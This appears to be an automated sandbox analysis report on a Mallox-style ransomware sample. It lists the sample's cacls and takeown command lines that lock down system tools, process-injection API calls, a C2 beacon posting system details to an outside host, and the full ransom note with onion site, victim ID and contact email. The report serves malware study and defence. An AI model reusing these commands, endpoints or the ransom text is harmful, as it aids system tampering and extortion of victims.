file	C:\Sandbox\test22\DefaultBox\user\current\AppData\Local\Google\Chrome\User Data\Default\Service Worker\CacheStorage\b1152479bea6c46553d8c242ffa5edf2b0a050a7\290dcccb-9986-4f16-98a9-c54df8312e93\52eca80efb7ea8c5_0
file	C:\Sandbox\test22\DefaultBox\user\current\AppData\Local\Google\Chrome\User Data\Default\TransportSecurity
file	C:\Sandbox\test22\DefaultBox\user\current\AppData\Local\Google\Chrome\User Data\ShaderCache\GPUCache\data_1
file	C:\Sandbox\test22\DefaultBox\user\current\AppData\Local\Google\Chrome\User Data\ShaderCache\GPUCache\data_0
file	C:\Sandbox\test22\DefaultBox\user\current\AppData\Local\Google\Chrome\User Data\ShaderCache\GPUCache\data_3

Looks up the external IP address (1 event)

domain

api.ipify.org

Creates executable files on the filesystem (1 event)

file	C:\Users\Public\Pictures\Kill-Delete.bat

Creates a shortcut to an executable file (15 events)

file	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\Accessibility\Narrator.lnk
file	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\System Tools\computer.lnk
file	C:\Users\Default\AppData\Roaming\Microsoft\Windows\SendTo\Fax Recipient.lnk
file	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\Windows Explorer.lnk
file	C:\Users\Default\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\Window Switcher.lnk
file	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\Accessibility\Ease of Access.lnk
file	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\Notepad.lnk
file	C:\Users\Default\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\Shows Desktop.lnk
file	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\Command Prompt.lnk
file	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\System Tools\Private Character Editor.lnk
file	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\Accessibility\On-Screen Keyboard.lnk
file	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\Accessibility\Magnify.lnk
file	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\System Tools\Control Panel.lnk
file	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Maintenance\Help.lnk
file	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\Run.lnk

Creates a suspicious process (50 out of 56 events)

cmdline	cacls C:\Windows\SysWOW64\mshta.exe /e /g Administrators:r
cmdline	cacls C:\Windows\SysWOW64\cmd.exe /e /d "network service"
cmdline	cacls C:\Windows\system32\cmd.exe /e /g Administrators:r
cmdline	cacls C:\Windows\SysWOW64\cmd.exe /e /g Administrators:r
cmdline	cacls C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe /e /d "network service"
cmdline	takeown /f C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe /a
cmdline	takeown /f C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe /a
cmdline	cacls C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe /e /d system
cmdline	cacls C:\Windows\SysWOW64\cmd.exe /e /d mssqlserver
cmdline	cacls C:\Windows\SysWOW64\mshta.exe /g Administrators:f
cmdline	cacls C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe /e /d "network service"
cmdline	cacls C:\Windows\system32\cmd.exe /g Administrators:f
cmdline	takeown /f C:\Windows\system32\cmd.exe /a
cmdline	C:\Windows\system32\cmd.exe /S /D /c" echo Y"
cmdline	cacls C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe /e /g Administrators:r
cmdline	cacls C:\Windows\SysWOW64\cmd.exe /e /g system:r
cmdline	cacls C:\Windows\SysWOW64\mshta.exe /e /d mssqlserver
cmdline	cacls C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe /e /d SERVICE
cmdline	cacls C:\Windows\system32\cmd.exe /e /g system:r
cmdline	takeown /f C:\Windows\SysWOW64\cmd.exe /a
cmdline	cacls C:\Windows\SysWOW64\mshta.exe /e /d SERVICE
cmdline	cacls C:\Windows\system32\cmd.exe /e /d SERVICE
cmdline	cacls C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe /g Administrators:f
cmdline	cacls C:\Windows\SysWOW64\cmd.exe /e /g Users:r
cmdline	takeown /f C:\Windows\SysWOW64\mshta.exe /a
cmdline	cacls C:\Windows\system32\mshta.exe /g Administrators:f
cmdline	cacls C:\Windows\system32\mshta.exe /e /d system
cmdline	cacls C:\Windows\system32\cmd.exe /e /d mssqlserver
cmdline	cacls C:\Windows\system32\cmd.exe /e /d "network service"
cmdline	cacls C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe /g Administrators:f
cmdline	C:\Windows\system32\cmd.exe /S /D /c" echo y"
cmdline	cacls C:\Windows\system32\cmd.exe /e /g Users:r
cmdline	cacls C:\Windows\system32\mshta.exe /e /g Administrators:r
cmdline	cacls C:\Windows\SysWOW64\cmd.exe /e /d SERVICE
cmdline	cacls C:\Windows\SysWOW64\mshta.exe /e /d "network service"
cmdline	cacls C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe /e /d mssql$sqlexpress
cmdline	cacls C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe /e /g Users:r
cmdline	cacls C:\Windows\system32\mshta.exe /e /d mssqlserver
cmdline	cacls C:\Windows\system32\mshta.exe /e /d mssql$sqlexpress
cmdline	cacls C:\Windows\SysWOW64\cmd.exe /e /d mssql$sqlexpress
cmdline	cacls C:\Windows\system32\cmd.exe /e /d mssql$sqlexpress
cmdline	cacls C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe /e /d mssqlserver
cmdline	cacls C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe /e /d SERVICE
cmdline	cacls C:\Windows\SysWOW64\mshta.exe /e /d system
cmdline	cacls C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe /e /g Administrators:r
cmdline	cacls C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe /e /d mssqlserver
cmdline	cacls C:\Windows\SysWOW64\cmd.exe /g Administrators:f
cmdline	cacls C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe /e /d mssql$sqlexpress
cmdline	cacls C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe /e /d system
cmdline	cacls C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe /e /g Users:r

Checks for the Locally Unique Identifier on the system for a suspicious privilege (11 events)

Time & API	Arguments	Status	Return
LookupPrivilegeValueW July 18, 2023, 7:16 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1
LookupPrivilegeValueW July 18, 2023, 7:16 a.m.	system_name: privilege_name: SeTakeOwnershipPrivilege	1	1
LookupPrivilegeValueW July 18, 2023, 7:16 a.m.	system_name: privilege_name: SeTakeOwnershipPrivilege	1	1
LookupPrivilegeValueW July 18, 2023, 7:16 a.m.	system_name: privilege_name: SeTakeOwnershipPrivilege	1	1
LookupPrivilegeValueW July 18, 2023, 7:16 a.m.	system_name: privilege_name: SeTakeOwnershipPrivilege	1	1
LookupPrivilegeValueW July 18, 2023, 7:16 a.m.	system_name: privilege_name: SeTakeOwnershipPrivilege	1	1
LookupPrivilegeValueW July 18, 2023, 7:17 a.m.	system_name: privilege_name: SeTakeOwnershipPrivilege	1	1
LookupPrivilegeValueW July 18, 2023, 7:17 a.m.	system_name: privilege_name: SeTakeOwnershipPrivilege	1	1
LookupPrivilegeValueW July 18, 2023, 7:17 a.m.	system_name: privilege_name: SeTakeOwnershipPrivilege	1	1
LookupPrivilegeValueW July 18, 2023, 7:18 a.m.	system_name: privilege_name: SeTakeOwnershipPrivilege	1	1
LookupPrivilegeValueW July 18, 2023, 7:18 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1

Potentially malicious URLs were found in the process memory dump (1 event)

url	https://www.torproject.org/download/

Yara rule detected in process memory (12 events)

description	Match Windows Http API call	rule	Str_Win32_Http_API
description	Escalate priviledges	rule	Escalate_priviledges
description	Communications over HTTP	rule	Network_HTTP
description	Match Windows Inet API call	rule	Str_Win32_Internet_API
description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerHiding__Thread
description	(no description)	rule	DebuggerHiding__Active
description	(no description)	rule	ThreadControl__Context
description	(no description)	rule	SEH__vectored
description	Checks if being debugged	rule	anti_dbg
description	Bypass DEP	rule	disable_dep

Uses Windows utilities for basic Windows functionality (19 events)

cmdline	cacls C:\Windows\system32\net.exe /e /d system
cmdline	cacls C:\Windows\system32\net.exe /e /d "network service"
cmdline	cacls C:\Windows\system32\net.exe /e /g Users:r
cmdline	cacls C:\Windows\system32\net.exe /g Administrators:f
cmdline	cacls C:\Windows\system32\net.exe /e /d SERVICE
cmdline	cacls C:\Windows\SysWOW64\net.exe /g Administrators:f
cmdline	cacls C:\Windows\system32\net.exe /e /d mssql$sqlexpress
cmdline	cacls C:\Windows\SysWOW64\net.exe /e /d system
cmdline	cacls C:\Windows\system32\net.exe /e /d mssqlserver
cmdline	cacls C:\Windows\SysWOW64\net.exe /e /d "network service"
cmdline	reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Command Processor" /v "AutoRun" /f
cmdline	cacls C:\Windows\SysWOW64\net.exe /e /g Administrators:r
cmdline	cacls C:\Windows\SysWOW64\net.exe /e /d SERVICE
cmdline	cacls C:\Windows\SysWOW64\net.exe /e /d mssql$sqlexpress
cmdline	takeown /f C:\Windows\SysWOW64\net.exe /a
cmdline	cacls C:\Windows\SysWOW64\net.exe /e /g Users:r
cmdline	takeown /f C:\Windows\system32\net.exe /a
cmdline	cacls C:\Windows\SysWOW64\net.exe /e /d mssqlserver
cmdline	cacls C:\Windows\system32\net.exe /e /g Administrators:r

Allocates execute permission to another process indicative of possible code injection (2 events)

Time & API	Arguments	Status	Return	Repeated
NtAllocateVirtualMemory July 18, 2023, 7:17 a.m.	process_identifier: 7492 region_size: 176128 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x000004d8	1	0	0
NtProtectVirtualMemory July 18, 2023, 7:18 a.m.	process_identifier: 7492 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 176128 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 process_handle: 0x000004d8	1	0	0

Looks for the Windows Idle Time to determine the uptime (1 event)

Time & API	Arguments	Status	Return	Repeated
NtQuerySystemInformation July 18, 2023, 7:16 a.m.	information_class: 8 (SystemProcessorPerformanceInformation)	1	0	0

A process attempted to delay the analysis task. (1 event)

description

rxtygf.exe tried to sleep 5456509 seconds, actually delayed analysis time by 5456509 seconds

Potential code injection by writing to the memory of another process (3 events)

Time & API	Arguments	Status	Return
WriteProcessMemory July 18, 2023, 7:17 a.m.	buffer: MZÿÿ¸@º´ Í!¸LÍ!This program cannot be run in DOS mode. $ôG2°&va°&va°&vaëNu`º&vaëNs`(&vaLs`&vaLr`¡&vaLu`¤&vaëNq`±&vaëNr`£&vaëNw`£&va°&wa &vaÄM~`½&vaÄMa±&vaÄMt`±&vaRich°&vaPELYOdà\|ü§@°@ÈàÌ@8x@Ð.textôz\| `.rdata\@@.dataPK0@À.rsrcà&@@.relocÌ(@B base_address: 0x00400000 process_identifier: 7492 process_handle: 0x000004d8	1	1
WriteProcessMemory July 18, 2023, 7:17 a.m.	buffer: 0 H`}<?xml version='1.0' encoding='UTF-8' standalone='yes'?> <assembly xmlns='urn:schemas-microsoft-com:asm.v1' manifestVersion='1.0'> <trustInfo xmlns="urn:schemas-microsoft-com:asm.v3"> <security> <requestedPrivileges> <requestedExecutionLevel level='asInvoker' uiAccess='false' /> </requestedPrivileges> </security> </trustInfo> </assembly> base_address: 0x00428000 process_identifier: 7492 process_handle: 0x000004d8	1	1
WriteProcessMemory July 18, 2023, 7:17 a.m.	buffer: @ base_address: 0x7efde008 process_identifier: 7492 process_handle: 0x000004d8	1	1

Code injection by writing an executable or DLL to the memory of another process (1 event)

Time & API	Arguments	Status	Return	Repeated
WriteProcessMemory July 18, 2023, 7:17 a.m.	buffer: MZÿÿ¸@º´ Í!¸LÍ!This program cannot be run in DOS mode. $ôG2°&va°&va°&vaëNu`º&vaëNs`(&vaLs`&vaLr`¡&vaLu`¤&vaëNq`±&vaëNr`£&vaëNw`£&va°&wa &vaÄM~`½&vaÄMa±&vaÄMt`±&vaRich°&vaPELYOdà\|ü§@°@ÈàÌ@8x@Ð.textôz\| `.rdata\@@.dataPK0@À.rsrcà&@@.relocÌ(@B base_address: 0x00400000 process_identifier: 7492 process_handle: 0x000004d8	1	1	0

Attempts to create or modify system certificates (1 event)

registry

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F81F111D0E5AB58D396F7BF525577FD30FDC95AA\Blob

Used NtSetContextThread to modify a thread in a remote process indicative of process injection (2 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 1680 called NtSetContextThread to modify thread in remote process 7492
NtSetContextThread July 18, 2023, 7:18 a.m.	registers.eip: 0 registers.esp: 0 registers.edi: 0 registers.eax: 4232103 registers.ebp: 0 registers.edx: 0 registers.ebx: 2130567168 registers.esi: 0 registers.ecx: 0 thread_handle: 0x000004d4 process_identifier: 7492	1	0	0

url	https://www.torproject.org/download/

Writes a potential ransom message to disk (2 events)

Time & API	Arguments	Status	Return	Repeated
NtWriteFile July 18, 2023, 7:18 a.m.	buffer: Hello Your files are encrypted and can not be used To return your files in work condition you need decryption tool Follow the instructions to decrypt all your data Do not try to change or restore files yourself, this will break them If you want, on our site you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB How to get decryption tool: 1) Download and install TOR browser by this link: https://www.torproject.org/download/ 2) If TOR blocked in your country and you can't access to the link then use any VPN software 3) Run TOR browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion/mallox/privateSignin 4) Copy your private ID in the input field. Your Private key: CF6C16D3AC8E9D60059208A0 5) You will see payment information and we can make free test decryption here Our blog of leaked companies: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion If you are unable to contact us through the site, then you can email us: mallox.resurrection@onionmail.org Waiting for a response via mail can be several days. Do not use it if you have not tried contacting through the site. offset: 0 file_handle: 0x00000344 filepath: \Device\HarddiskVolume1\FILE RECOVERY.txt	1	0	0
NtWriteFile July 18, 2023, 7:18 a.m.	buffer: Hello Your files are encrypted and can not be used To return your files in work condition you need decryption tool Follow the instructions to decrypt all your data Do not try to change or restore files yourself, this will break them If you want, on our site you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB How to get decryption tool: 1) Download and install TOR browser by this link: https://www.torproject.org/download/ 2) If TOR blocked in your country and you can't access to the link then use any VPN software 3) Run TOR browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion/mallox/privateSignin 4) Copy your private ID in the input field. Your Private key: CF6C16D3AC8E9D60059208A0 5) You will see payment information and we can make free test decryption here Our blog of leaked companies: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion If you are unable to contact us through the site, then you can email us: mallox.resurrection@onionmail.org Waiting for a response via mail can be several days. Do not use it if you have not tried contacting through the site. offset: 0 file_handle: 0x0000033c filepath: C:\FILE RECOVERY.txt	1	0	0

A process performed obfuscation on information about the computer or sent it to a remote location indicative of CnC Traffic/Preperations. (20 events)

Time & API	Arguments	Status	Return
HttpSendRequestW July 18, 2023, 7:18 a.m.	headers: Content-Type: application/x-www-form-urlencoded Host: whyers.io request_handle: 0x00cc000c post_data: user=maestro&TargetID=CF6C16D3AC8E9D60059208A0&SystemInformation=Windows%207%20Professional%20N%20x64,%20KR,%20175.208.134.152,%20TEST22-PC&max_size_of_file=0.0&size_of_hdd=22	1	1
HttpSendRequestW July 18, 2023, 7:18 a.m.	headers: Content-Type: application/x-www-form-urlencoded Host: whyers.io request_handle: 0x00cc000c post_data: user=maestro&TargetID=CF6C16D3AC8E9D60059208A0&SystemInformation=Windows%207%20Professional%20N%20x64,%20KR,%20175.208.134.152,%20TEST22-PC&max_size_of_file=0.0&size_of_hdd=22	1	1
HttpSendRequestW July 18, 2023, 7:18 a.m.	headers: Content-Type: application/x-www-form-urlencoded Host: whyers.io request_handle: 0x00cc000c post_data: user=maestro&TargetID=CF6C16D3AC8E9D60059208A0&SystemInformation=Windows%207%20Professional%20N%20x64,%20KR,%20175.208.134.152,%20TEST22-PC&max_size_of_file=0.0&size_of_hdd=22	1	1
HttpSendRequestW July 18, 2023, 7:18 a.m.	headers: Content-Type: application/x-www-form-urlencoded Host: whyers.io request_handle: 0x00cc000c post_data: user=maestro&TargetID=CF6C16D3AC8E9D60059208A0&SystemInformation=Windows%207%20Professional%20N%20x64,%20KR,%20175.208.134.152,%20TEST22-PC&max_size_of_file=0.0&size_of_hdd=22	1	1
HttpSendRequestW July 18, 2023, 7:18 a.m.	headers: Content-Type: application/x-www-form-urlencoded Host: whyers.io request_handle: 0x00cc000c post_data: user=maestro&TargetID=CF6C16D3AC8E9D60059208A0&SystemInformation=Windows%207%20Professional%20N%20x64,%20KR,%20175.208.134.152,%20TEST22-PC&max_size_of_file=0.0&size_of_hdd=22	1	1
HttpSendRequestW July 18, 2023, 7:18 a.m.	headers: Content-Type: application/x-www-form-urlencoded Host: whyers.io request_handle: 0x00cc000c post_data: user=maestro&TargetID=CF6C16D3AC8E9D60059208A0&SystemInformation=Windows%207%20Professional%20N%20x64,%20KR,%20175.208.134.152,%20TEST22-PC&max_size_of_file=0.0&size_of_hdd=22	1	1
HttpSendRequestW July 18, 2023, 7:18 a.m.	headers: Content-Type: application/x-www-form-urlencoded Host: whyers.io request_handle: 0x00cc000c post_data: user=maestro&TargetID=CF6C16D3AC8E9D60059208A0&SystemInformation=Windows%207%20Professional%20N%20x64,%20KR,%20175.208.134.152,%20TEST22-PC&max_size_of_file=0.0&size_of_hdd=22	1	1
HttpSendRequestW July 18, 2023, 7:18 a.m.	headers: Content-Type: application/x-www-form-urlencoded Host: whyers.io request_handle: 0x00cc000c post_data: user=maestro&TargetID=CF6C16D3AC8E9D60059208A0&SystemInformation=Windows%207%20Professional%20N%20x64,%20KR,%20175.208.134.152,%20TEST22-PC&max_size_of_file=0.0&size_of_hdd=22	1	1
HttpSendRequestW July 18, 2023, 7:18 a.m.	headers: Content-Type: application/x-www-form-urlencoded Host: whyers.io request_handle: 0x00cc000c post_data: user=maestro&TargetID=CF6C16D3AC8E9D60059208A0&SystemInformation=Windows%207%20Professional%20N%20x64,%20KR,%20175.208.134.152,%20TEST22-PC&max_size_of_file=0.0&size_of_hdd=22	1	1
HttpSendRequestW July 18, 2023, 7:18 a.m.	headers: Content-Type: application/x-www-form-urlencoded Host: whyers.io request_handle: 0x00cc000c post_data: user=maestro&TargetID=CF6C16D3AC8E9D60059208A0&SystemInformation=Windows%207%20Professional%20N%20x64,%20KR,%20175.208.134.152,%20TEST22-PC&max_size_of_file=0.0&size_of_hdd=22	1	1
HttpSendRequestW July 18, 2023, 7:18 a.m.	headers: Content-Type: application/x-www-form-urlencoded Host: whyers.io request_handle: 0x00cc000c post_data: user=maestro&TargetID=CF6C16D3AC8E9D60059208A0&SystemInformation=Windows%207%20Professional%20N%20x64,%20KR,%20175.208.134.152,%20TEST22-PC&max_size_of_file=0.0&size_of_hdd=22	1	1
HttpSendRequestW July 18, 2023, 7:18 a.m.	headers: Content-Type: application/x-www-form-urlencoded Host: whyers.io request_handle: 0x00cc000c post_data: user=maestro&TargetID=CF6C16D3AC8E9D60059208A0&SystemInformation=Windows%207%20Professional%20N%20x64,%20KR,%20175.208.134.152,%20TEST22-PC&max_size_of_file=0.0&size_of_hdd=22	1	1
HttpSendRequestW July 18, 2023, 7:18 a.m.	headers: Content-Type: application/x-www-form-urlencoded Host: whyers.io request_handle: 0x00cc000c post_data: user=maestro&TargetID=CF6C16D3AC8E9D60059208A0&SystemInformation=Windows%207%20Professional%20N%20x64,%20KR,%20175.208.134.152,%20TEST22-PC&max_size_of_file=0.0&size_of_hdd=22	1	1
HttpSendRequestW July 18, 2023, 7:18 a.m.	headers: Content-Type: application/x-www-form-urlencoded Host: whyers.io request_handle: 0x00cc000c post_data: user=maestro&TargetID=CF6C16D3AC8E9D60059208A0&SystemInformation=Windows%207%20Professional%20N%20x64,%20KR,%20175.208.134.152,%20TEST22-PC&max_size_of_file=0.0&size_of_hdd=22	1	1
HttpSendRequestW July 18, 2023, 7:18 a.m.	headers: Content-Type: application/x-www-form-urlencoded Host: whyers.io request_handle: 0x00cc000c post_data: user=maestro&TargetID=CF6C16D3AC8E9D60059208A0&SystemInformation=Windows%207%20Professional%20N%20x64,%20KR,%20175.208.134.152,%20TEST22-PC&max_size_of_file=0.0&size_of_hdd=22	1	1
HttpSendRequestW July 18, 2023, 7:18 a.m.	headers: Content-Type: application/x-www-form-urlencoded Host: whyers.io request_handle: 0x00cc000c post_data: user=maestro&TargetID=CF6C16D3AC8E9D60059208A0&SystemInformation=Windows%207%20Professional%20N%20x64,%20KR,%20175.208.134.152,%20TEST22-PC&max_size_of_file=0.0&size_of_hdd=22	1	1
HttpSendRequestW July 18, 2023, 7:18 a.m.	headers: Content-Type: application/x-www-form-urlencoded Host: whyers.io request_handle: 0x00cc000c post_data: user=maestro&TargetID=CF6C16D3AC8E9D60059208A0&SystemInformation=Windows%207%20Professional%20N%20x64,%20KR,%20175.208.134.152,%20TEST22-PC&max_size_of_file=0.0&size_of_hdd=22	1	1
HttpSendRequestW July 18, 2023, 7:18 a.m.	headers: Content-Type: application/x-www-form-urlencoded Host: whyers.io request_handle: 0x00cc000c post_data: user=maestro&TargetID=CF6C16D3AC8E9D60059208A0&SystemInformation=Windows%207%20Professional%20N%20x64,%20KR,%20175.208.134.152,%20TEST22-PC&max_size_of_file=0.0&size_of_hdd=22	1	1
HttpSendRequestW July 18, 2023, 7:18 a.m.	headers: Content-Type: application/x-www-form-urlencoded Host: whyers.io request_handle: 0x00cc000c post_data: user=maestro&TargetID=CF6C16D3AC8E9D60059208A0&SystemInformation=Windows%207%20Professional%20N%20x64,%20KR,%20175.208.134.152,%20TEST22-PC&max_size_of_file=0.0&size_of_hdd=22	1	1
HttpSendRequestW July 18, 2023, 7:18 a.m.	headers: Content-Type: application/x-www-form-urlencoded Host: whyers.io request_handle: 0x00cc000c post_data: user=maestro&TargetID=CF6C16D3AC8E9D60059208A0&SystemInformation=Windows%207%20Professional%20N%20x64,%20KR,%20175.208.134.152,%20TEST22-PC&max_size_of_file=0.0&size_of_hdd=22	1	1

Attempts to remove evidence of file being downloaded from the Internet (1 event)

file	C:\Users\test22\AppData\Local\Temp\rxtygf.exe\:Zone.Identifier

Resumed a suspended thread in a remote process potentially indicative of process injection (2 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 1680 resumed a thread in remote process 7492
NtResumeThread July 18, 2023, 7:18 a.m.	thread_handle: 0x000004d4 suspend_count: 1 process_identifier: 7492	1	0	0

Uses suspicious command line tools or Windows utilities (50 out of 144 events)

cmdline	cacls C:\Windows\SysWOW64\FTP.exe /e /d SERVICE
cmdline	cacls C:\Windows\SysWOW64\mshta.exe /e /g Administrators:r
cmdline	cacls C:\Windows\system32\net.exe /e /d system
cmdline	cacls C:\Windows\SysWOW64\net1.exe /e /d mssql$sqlexpress
cmdline	cacls C:\Windows\system32\net.exe /e /d "network service"
cmdline	cacls C:\Windows\SysWOW64\cmd.exe /e /d "network service"
cmdline	cacls C:\Windows\SysWOW64\wscript.exe /e /d mssqlserver
cmdline	cacls C:\Windows\SysWOW64\net1.exe /e /d "network service"
cmdline	cacls C:\Windows\SysWOW64\cscript.exe /e /d SERVICE
cmdline	cacls C:\Windows\system32\cscript.exe /e /d mssqlserver
cmdline	cacls C:\Windows\system32\net.exe /e /g Users:r
cmdline	cacls C:\Windows\SysWOW64\wscript.exe /e /d mssql$sqlexpress
cmdline	cacls C:\Users\Public /e /d "network service"
cmdline	cacls C:\Windows\system32\net1.exe /e /d mssqlserver
cmdline	cacls C:\Windows\system32\cmd.exe /e /g Administrators:r
cmdline	cacls C:\Users\Public /g Administrators:f
cmdline	cacls C:\Windows\system32\FTP.exe /e /d system
cmdline	cacls C:\Windows\SysWOW64\cmd.exe /e /g Administrators:r
cmdline	cacls C:\Windows\SysWOW64\wscript.exe /e /d system
cmdline	cacls C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe /e /d "network service"
cmdline	cacls C:\Windows\system32\net.exe /g Administrators:f
cmdline	cacls C:\ProgramData /e /d mssql$sqlexpress
cmdline	cacls C:\Windows\SysWOW64\cscript.exe /e /g Users:r
cmdline	cacls C:\Windows\system32\wscript.exe /e /d system
cmdline	cacls C:\Windows\SysWOW64\FTP.exe /g Administrators:f
cmdline	cacls C:\Windows\SysWOW64\cscript.exe /e /d mssql$sqlexpress
cmdline	cacls C:\Windows\system32\wscript.exe /e /d "network service"
cmdline	cacls C:\Windows\system32\FTP.exe /e /d SERVICE
cmdline	cacls C:\Windows\system32\net1.exe /e /d SERVICE
cmdline	cacls C:\Windows\system32\cscript.exe /e /d mssql$sqlexpress
cmdline	cacls C:\Windows\system32\net.exe /e /d SERVICE
cmdline	cacls C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe /e /d system
cmdline	cacls C:\Windows\SysWOW64\cmd.exe /e /d mssqlserver
cmdline	cacls C:\Windows\SysWOW64\mshta.exe /g Administrators:f
cmdline	cacls C:\Users\Public /e /d mssqlserver
cmdline	cacls C:\Windows\SysWOW64\net1.exe /e /d mssqlserver
cmdline	cacls C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe /e /d "network service"
cmdline	cacls C:\Windows\system32\wscript.exe /e /g Administrators:r
cmdline	cacls C:\Users\Public /e /d system
cmdline	cacls C:\Windows\SysWOW64\cscript.exe /e /d "network service"
cmdline	cacls C:\Windows\system32\cscript.exe /e /d SERVICE
cmdline	cacls C:\ProgramData /e /d system
cmdline	cacls C:\Windows\system32\cmd.exe /g Administrators:f
cmdline	cacls C:\Windows\system32\FTP.exe /g Administrators:f
cmdline	cacls C:\Windows\system32\net1.exe /e /g Users:r
cmdline	cacls C:\Windows\SysWOW64\FTP.exe /e /d mssql$sqlexpress
cmdline	cacls C:\Windows\system32\net1.exe /e /d "network service"
cmdline	cacls C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe /e /g Administrators:r
cmdline	cacls C:\Windows\system32\cscript.exe /e /g Users:r
cmdline	cacls C:\Users\Public /e /d mssql$sqlexpress

Detects VMWare through the presence of a registry key (1 event)

registry

HKEY_LOCAL_MACHINE\SOFTWARE\VMware, Inc.\VMware VGAuth

Generates some ICMP traffic

File has been identified by 26 AntiVirus engines on VirusTotal as malicious (26 events)

Lionic	Trojan.Win32.Generic.4!c
Elastic	malicious (high confidence)
FireEye	Generic.mg.ad607f046a6f855f
McAfee	Artemis!AD607F046A6F
Cylance	unsafe
Sangfor	Trojan.Win32.Agent.Vtuo
Symantec	ML.Attribute.HighConfidence
tehtris	Generic.Malware
Cynet	Malicious (score: 100)
APEX	Malicious
Kaspersky	UDS:DangerousObject.Multi.Generic
Avast	TrojanX-gen [Trj]
McAfee-GW-Edition	BehavesLike.Win32.Generic.fh
Trapmine	malicious.moderate.ml.score
Webroot	W32.Trojan.Gen
Microsoft	Trojan:Win32/Casdet!rfn
ZoneAlarm	UDS:DangerousObject.Multi.Generic
Google	Detected
BitDefenderTheta	Gen:NN.ZemsilF.36318.ym0@aWl!rFc
Panda	Trj/Genetic.gen
Ikarus	Trojan-Spy.Keylogger.Snake
MaxSecure	Trojan.Malware.300983.susgen
Fortinet	MSIL/Kryptik.KBT!tr
AVG	TrojanX-gen [Trj]
DeepInstinct	MALICIOUS
CrowdStrike	win/malicious_confidence_100% (W)

Executed a process and injected code into it, probably while unpacking (50 out of 472 events)

Time & API	Arguments	Status	Return
NtResumeThread July 18, 2023, 7:16 a.m.	thread_handle: 0x000000dc suspend_count: 1 process_identifier: 1680	1	0
NtResumeThread July 18, 2023, 7:16 a.m.	thread_handle: 0x00000150 suspend_count: 1 process_identifier: 1680	1	0
NtResumeThread July 18, 2023, 7:16 a.m.	thread_handle: 0x00000198 suspend_count: 1 process_identifier: 1680	1	0
NtResumeThread July 18, 2023, 7:16 a.m.	thread_handle: 0x000003f8 suspend_count: 1 process_identifier: 1680	1	0
CreateProcessInternalW July 18, 2023, 7:16 a.m.	thread_identifier: 2456 thread_handle: 0x00000480 process_identifier: 2452 current_directory: C:\Users\test22\AppData\Local\Temp filepath: track: 1 command_line: "C:\Users\Public\Pictures\Kill-Delete.bat" filepath_r: stack_pivoted: 0 creation_flags: 67634192 (CREATE_DEFAULT_ERROR_MODE\|CREATE_NEW_CONSOLE\|CREATE_UNICODE_ENVIRONMENT\|EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 0 process_handle: 0x000004a0	1	1
NtResumeThread July 18, 2023, 7:17 a.m.	thread_handle: 0x0000044c suspend_count: 1 process_identifier: 1680	1	0
NtResumeThread July 18, 2023, 7:17 a.m.	thread_handle: 0x000004b4 suspend_count: 1 process_identifier: 1680	1	0
